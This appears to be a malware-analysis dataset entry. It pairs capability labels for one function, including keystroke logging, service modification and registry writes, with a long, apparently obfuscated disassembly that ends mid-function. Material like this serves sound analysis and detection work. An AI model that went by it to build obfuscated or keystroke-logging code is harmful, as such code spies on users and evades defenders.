Function at 0x100385c2
Capabilities:
Check os version
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get file attributes
Get keyboard layout
Get session user name
Identify system language via api
Log keystrokes
Modify service
Parse pe header
Query service status
Resume thread
Set registry value
Suspend thread

Disassembly:
mov eax, 0x10085b46
call fcn.10083e70
mov eax, 0x1c14
call fcn.10080620
push ebx
push esi
push edi
push 2
pop ebx
mov dword [ebp - 0x58], ecx
lea ecx, [ebp - 0x158]
push ebx
mov byte [ebp - 0x79], dl
call fcn.1001add3
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], 0xa9ac70c3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003861d
push dword [ebp - 0x10]
lea ecx, [ebp - 0x158]
call fcn.1001ae71
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10038602
xor eax, eax
push eax
lea ecx, [ebp - 0x158]
call fcn.1001ae71
mov dword [eax], 0x13
jmp 0x10038653
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10038645
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
push eax
lea ecx, [ebp - 0x158]
call fcn.1001ae71
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x158]
push eax
call fcn.1001ae71
cmp dword [eax], 0xfffffff1
jl 0x10038631
push 1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffe3
pop eax
push 0xfffffffffffffff7
pop edi
push 0xfffffffffffffffc
pop esi
je 0x10038830
jmp 0x10038683
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0xd34]
mov dword [ebp - 0x44], 0x5d840dfe
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x38], 0xe6b87c26
mov dword [ebp - 0x10], 0x194e4064
push ebx
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100386dc
xor ebx, ebx
inc ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd34]
call fcn.1001ae71
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100386bf
xor eax, eax
jmp 0x100386df
xor ebx, ebx
inc ebx
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], 7
jge 0x10038810
jmp 0x100386f0
xor eax, eax
mov dword [ebp - 0x14], esi
lea ecx, [ebp - 0x158]
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x158]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x158]
push ebx
call fcn.1001ae71
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc6f0
jl 0x10038748
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10038748
mov ecx, eax
jmp 0x1003874e
xor ecx, ecx
xor ebx, ebx
inc ecx
inc ebx
xor eax, eax
cmp ecx, ebx
mov ecx, dword [ebp - 0x1c]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xb13b1067
lea ecx, [ebp - 0x158]
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.1001ae71
lea ecx, [ebp - 0x158]
mov edi, dword [eax]
xor eax, eax
push eax
add edi, esi
call fcn.1001ae71
mov ecx, dword [ebp - 0x38]
xor edx, edx
cmp edi, ecx
lea ecx, [ebp - 0x158]
setne dl
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
push ebx
setge dl
lea ecx, [ebp - 0xd34]
add edx, 4
mov dword [ebp - 0x10], edx
mov esi, dword [ebp - 0x10]
neg esi
sbb esi, esi
call fcn.1001ae71
mov ecx, dword [ebp - 0x14]
mov edi, eax
xor eax, eax
neg esi
push 0xfffffffffffffffc
setne al
xor edx, edx
cmp eax, ecx
pop esi
setne dl
cmp edx, 3
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [edi], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 7
jl 0x100386ee
push 0xfffffffffffffff7
pop edi
xor eax, eax
lea ecx, [ebp - 0xd34]
mov byte [ebp - 4], al
call fcn.1001ae55
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
push 2
pop ebx
jne 0x10038680
or edi, 0xffffffff
lea ecx, [ebp - 0x158]
mov dword [ebp - 4], edi
call fcn.1001ae55
push 3
lea ecx, [ebp - 0x1e4]
call fcn.1001add3
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x1c], 0xac204e2
mov dword [ebp - 0x4c], eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x952f3411
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], eax
jge 0x10038887
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x42c], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x10038874
mov dword [ebp - 0x1c], 5
cmp dword [ebp - 0x1c], 0xf
jne 0x1003896e
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x24], 0xffffffef
cmp dword [ebp - 0x24], 0xffffffed
jle 0x1003895e
xor ebx, ebx
inc ebx
push 3
lea ecx, [ebp - 0x51c]
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100388ee
push dword [ebp - 0x10]
lea ecx, [ebp - 0x51c]
call fcn.1001ae71
mov dword [eax], 0xea122098
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100388cf
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100388fd
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 2
pop esi
push esi
lea ecx, [ebp - 0x51c]
call fcn.1001ae71
and dword [eax], 0
jmp 0x10038932
push esi
call fcn.1001ae71
push esi
lea ecx, [ebp - 0x51c]
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x42c], 4
call fcn.1001ae71
inc dword [eax]
push esi
lea ecx, [ebp - 0x51c]
call fcn.1001ae71
lea ecx, [ebp - 0x51c]
cmp dword [eax], ebx
jl 0x10038911
mov byte [ebp - 4], 2
call fcn.1001ae55
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffed
jg 0x100388b3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xf
je 0x10038898
push 2
pop ebx
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov esi, dword [ebp - 0x42c]
mov eax, dword [ebp - 0x38]
setl dl
sub esi, edx
neg esi
push 1
sbb esi, esi
xor ecx, ecx
inc esi
cmp esi, eax
setg cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xbbc]
call fcn.1001add3
mov byte [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100389e4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6d8], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100389cb
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
push 0xfffffffffffffffe
pop edi
jge 0x10038a0b
push dword [ebp - 0x14]
lea ecx, [ebp - 0xbbc]
call fcn.1001ae71
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100389f0
xor eax, eax
cmp dword [ebp - 0x6d8], eax
jne 0x10038a41
push eax
lea ecx, [ebp - 0xbbc]
call fcn.1001ae71
xor ecx, ecx
inc ecx
mov dword [eax], ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x6d4]
mov eax, dword [ebp - 0x6d4]
cmp dword [ebp - 0x6d8], eax
jl 0x10038a41
xor eax, eax
mov ecx, eax
jmp 0x10038a44
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x6d4]
sub eax, ecx
lea ecx, [ebp - 0xbbc]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x6d4]
mov esi, dword [ebp - 0x4c]
xor eax, eax
push eax
call fcn.1001ae71
lea ecx, [ebp - 0xbbc]
mov dword [eax], esi
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], bl
call fcn.1001ae55
push 0xfffffffffffffffc
pop eax
push 3
pop esi
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x9b8]
push esi
call fcn.1001add3
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x934]
mov dword [ebp - 0x4c], 0xc6b79df9
push ebx
call fcn.1001add3
mov byte [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10038af8
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9b8]
call fcn.1001ae71
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10038ade
xor eax, eax
xor edi, edi
mov dword [ebp - 0x14], eax
inc edi
cmp dword [ebp - 0x14], ebx
jge 0x10038b18
push dword [ebp - 0x14]
lea ecx, [ebp - 0x934]
call fcn.1001ae71
mov dword [eax], edi
inc dword [ebp - 0x14]
jmp 0x10038afe
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, 0x36544d18
neg ecx
sbb ecx, ecx
inc ecx
js 0x10038bad
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10038b87
mov dword [ebp - 0x10], 0xfffffff8
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x10038b69
cmp dword [ebp - 0x24], eax
jne 0x10038b69
dec dword [ebp - 0x10]
jns 0x10038b5f
push edi
lea ecx, [ebp - 0x9b8]
call fcn.1001ae71
cmp dword [eax], 0
jne 0x10038b85
inc dword [ebp - 0x18]
push 0
pop eax
cmp dword [ebp - 0x18], ebx
jle 0x10038b50
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10038ba3
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9b8]
call fcn.1001ae71
mov dword [eax], 6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10038b8c
jmp 0x10038ce8
push 3
pop ebx
push ebx
lea ecx, [ebp - 0xbd4]
call fcn.1001add3
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x10], 0x72327932
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10038bef
push dword [ebp - 0x14]
lea ecx, [ebp - 0xbd4]
call fcn.1001ae71
mov dword [eax], 0xec80f219
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10038bd1
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10038c0f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfe0], 0xe7790660
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10038bf7
xor eax, eax
push eax
lea ecx, [ebp - 0xbd4]
call fcn.1001ae71
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
dec dword [eax]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x934]
setl bl
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0xfe0]
sub ebx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10038c66
push eax
lea ecx, [ebp - 0xbd4]
call fcn.1001ae71
push 0xfffffffffffffffc
pop ecx
cmp ecx, dword [eax]
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
xor eax, eax
push eax
lea ecx, [ebp - 0x9b8]
call fcn.1001ae71
mov ecx, edi
sub ecx, dword [eax]
je 0x10038c7b
mov eax, dword [ebp - 0x10]
xor eax, eax
lea ecx, [ebp - 0x934]
push eax
call fcn.1001ae71
mov dword [eax], edi
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10038cb0
push eax
lea ecx, [ebp - 0x934]
call fcn.1001ae71
cmp dword [eax], 0
je 0x10038cae
xor ecx, ecx
xor edi, edi
inc ecx
inc edi
jmp 0x10038cb2
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xfe0]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0xf45a
lea ecx, [ebp - 0xbd4]
setne al
mov dword [ebp - 0xfe0], eax
call fcn.1001ae55
push 2
pop ebx
lea ecx, [ebp - 0x934]
call fcn.1001ae55
lea ecx, [ebp - 0x9b8]
mov byte [ebp - 4], bl
call fcn.1001ae55
xor eax, eax
mov dword [ebp - 0x1c], 0x7cb3f4f4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
push 0xfffffffffffffff7
pop esi
jge 0x10038d2b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1794], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10038d16
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10038d4d
push 0x451
push 0xb0f
push edi
push eax
push 0x22bd
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10038d5f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1794], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10038d52
push ebx
lea ecx, [ebp - 0x7a4]
call fcn.1001add3
push ebx
lea ecx, [ebp - 0x3e8]
mov byte [ebp - 4], 8
call fcn.1001add3
lea eax, [ebp - 0x14dc]
mov byte [ebp - 4], 9
movdqa xmm0, xmmword [0x10007c00]
lea ecx, [ebp - 0x18e0]
push eax
lea eax, [ebp - 0x14ec]
push eax
movdqu xmmword [ebp - 0x14ec], xmm0
call fcn.1001ae80
lea ecx, [ebp - 0x249]
mov esi, eax
call fcn.10008c6b
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x258]
push dword [esi]
call fcn.1001ae2f
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x1c], 0x35637001
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x28], 0x5f885928
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10038e0c
xor ebx, ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3e8]
call fcn.1001ae71
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10038df1
jmp 0x10038e0e
xor ebx, ebx
push edi
lea ecx, [ebp - 0x3e8]
call fcn.1001ae71
push 3
pop esi
push edi
lea ecx, [ebp - 0x258]
mov dword [eax], esi
call fcn.1001ae71
push edi
lea ecx, [ebp - 0x3e8]
mov dword [eax], esi
call fcn.1001ae71
cmp dword [eax], ebx
je 0x10038f23
push 2
lea ecx, [ebp - 0x258]
call fcn.1001ae71
cmp dword [eax], ebx
je 0x10038e55
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x258]
push edi
call fcn.1001ae71
push edi
lea ecx, [ebp - 0x258]
call fcn.1001ae71
xor ebx, ebx
lea ecx, [ebp - 0x3e8]
xor esi, esi
push edi
cmp dword [eax], esi
setl bl
call fcn.1001ae71
push edi
lea ecx, [ebp - 0x258]
mov dword [eax], ebx
call fcn.1001ae71
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x258]
push edi
call fcn.1001ae71
xor ebx, ebx
lea ecx, [ebp - 0x258]
push edi
cmp dword [eax], esi
sete bl
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, ebx
lea ecx, [ebp - 0x3e8]
setge dl
mov dword [eax], edx
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor edx, edx
push edi
cmp dword [eax], ecx
lea ecx, [ebp - 0x3e8]
setne dl
sub edx, 0x3d252981
mov dword [ebp - 0x1c], edx
call fcn.1001ae71
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x258]
push 3
pop esi
push esi
call fcn.1001ae71
mov ecx, dword [ebp - 0x24]
cmp dword [eax], ecx
je 0x10038f23
xor eax, eax
lea ecx, [ebp - 0x3e8]
push eax
call fcn.1001ae71
xor ebx, ebx
cmp dword [eax], ebx
je 0x10038f23
xor eax, eax
xor edi, edi
inc eax
inc edi
jmp 0x10038f27
xor eax, eax
xor ebx, ebx
mov edx, dword [ebp - 0x24]
xor ecx, ecx
imul edx, eax
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x24]
jne 0x10038f54
push edi
lea ecx, [ebp - 0x258]
call fcn.1001ae71
cmp dword [eax], ebx
je 0x10038f54
xor eax, eax
inc eax
jmp 0x10038f56
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x258]
call fcn.1001ae55
lea ecx, [ebp - 0x3e8]
mov byte [ebp - 4], 8
call fcn.1001ae55
push 2
pop ebx
or edi, 0xffffffff
lea ecx, [ebp - 0x75c]
mov dword [ebp - 0x60], edi
push ebx
call fcn.1001add3
push ebx
lea ecx, [ebp - 0xd4c]
mov byte [ebp - 4], 0xb
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10038fc4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x75c]
call fcn.1001ae71
mov dword [eax], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10038fa6
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10038fea
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd4c]
call fcn.1001ae71
mov dword [eax], 0x8e1b61ba
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10038fcc
xor eax, eax
push eax
lea ecx, [ebp - 0x75c]
call fcn.1001ae71
and dword [eax], 0
jmp 0x10039099
xor eax, eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
jmp 0x10039041
mov dword [ebp - 0x28], 0x5059
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10039039
push eax
push 0x12d
push 0x2ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10039047
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
jne 0x10039008
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], eax
jl 0x1003908b
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10039075
push eax
push eax
push 0x667
push 0xdbf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd4c]
call fcn.1001ae71
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x10039053
push eax
lea ecx, [ebp - 0x75c]
call fcn.1001ae71
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x75c]
push eax
call fcn.1001ae71
cmp dword [eax], 0x1d
jle 0x10038ffe
lea ecx, [ebp - 0xd4c]
call fcn.1001ae55
lea ecx, [ebp - 0x75c]
mov byte [ebp - 4], 8
call fcn.1001ae55
mov dword [ebp - 0x48], 0xe617092f
xor eax, eax
mov dword [ebp - 0x40], 0x9d0615a0
mov dword [ebp - 0x48], 0x33e270b
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x10], eax
jmp 0x10039104
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd0], 0xd77c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x100390f3
mov dword [ebp - 0x18], 0xffffffee
jmp 0x10039169
mov dword [ebp - 0x10], edi
xor edx, edx
mov dword [ebp - 0x4c], 0x555145cc
mov dword [ebp - 0x38], 0x1cb6a7f4
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
neg ecx
cmp ecx, eax
setl dl
xor eax, eax
sub edx, dword [ebp - 0x38]
cmp dword [ebp - 0x10], edx
jg 0x10039163
cmp dword [ebp - 0x18], eax
je 0x10039163
inc eax
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x18
jg 0x10039113
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 9
jl 0x10039309
jmp 0x10039182
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff9
lea ecx, [ebp - 0xf8c]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x10], eax
push 1
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x100391ca
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf8c]
call fcn.1001ae71
mov dword [eax], 0x5108d7eb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x100391ab
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x10039230
mov dword [ebp - 0x4c], 0x276cc72b
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x28], 0xf9e6a012
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10039203
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1214], 0xbda9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100391eb
xor eax, eax
cmp dword [ebp - 0x1210], eax
jne 0x10039230
mov dword [ebp - 0x4c], 9
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
neg eax
cmp eax, 1
push 0
setle cl
mov dword [ebp - 0x28], ecx
dec dword [ebp - 0x44]
pop eax
jns 0x100391d2
mov ecx, dword [ebp - 0xd0]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
cmp edx, 0x95e04a27
ja 0x100392a8
mov dword [ebp - 0x28], 1
xor eax, eax
mov dword [ebp - 0x4c], 0xf673
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x24], eax
jne 0x10039263
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x4c]
neg eax
sbb eax, eax
inc eax
add ecx, eax
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edi
setge al
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], eax
jmp 0x100392ed
mov eax, 0xffff
mov ecx, 0x3b58
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
xor eax, eax
cmp ecx, 0x3b28
setle al
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
neg eax
je 0x100392dd
xor eax, eax
lea ecx, [ebp - 0xf8c]
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xf8c]
mov byte [ebp - 4], 8
call fcn.1001ae55
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 9
jge 0x10039180
mov dword [ebp - 0x48], 0xdcedb1a7
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x14], 0xc29a3df6
mov dword [ebp - 0x2c], 0xa654fddd
push esi
call fcn.1001add3
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x3c], 0x56e6
xor ebx, ebx
mov dword [ebp - 0x44], 9
inc ebx
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x438]
cmp dword [ebp - 0x10], esi
jge 0x1003936f
push dword [ebp - 0x10]
call fcn.1001ae71
mov dword [eax], ebx
inc dword [ebp - 0x10]
jmp 0x10039355
mov eax, dword [ebp - 0x14]
neg eax
push ebx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
call fcn.1001ae71
push ebx
lea ecx, [ebp - 0x438]
mov dword [eax], 0x703026d8
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
call fcn.1001ae71
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xa9c5a74d
sbb ecx, ecx
xor eax, eax
neg ecx
neg ecx
cmp ecx, 0x129ec6ea
setne al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x14]
jge 0x10039603
mov dword [ebp - 0x18], 0xa5fc
xor eax, eax
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10039413
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1a30], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100393fa
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff1
jl 0x1003972a
mov dword [ebp - 0x28], 0x1cdf
xor ebx, ebx
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x1c], 0x92e414e4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18], 0x8ffd
push 2
add ecx, eax
cmp ecx, 0xa501
lea ecx, [ebp - 0x438]
setl bl
call fcn.1001ae71
mov dword [eax], ebx
test ebx, ebx
jne 0x10039471
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10039471
mov ecx, eax
jmp 0x10039474
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0x1e5de2ca
setne al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], 0x19
jmp 0x100395e4
xor eax, eax
mov dword [ebp - 0x28], 0x133a5b7d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x100394b9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8cc], 0x697289f1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x100394a0
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffff4
cmp dword [ebp - 0x3c], 0x2a
jge 0x100395e1
jmp 0x100394ce
xor eax, eax
mov dword [ebp - 0x10], eax
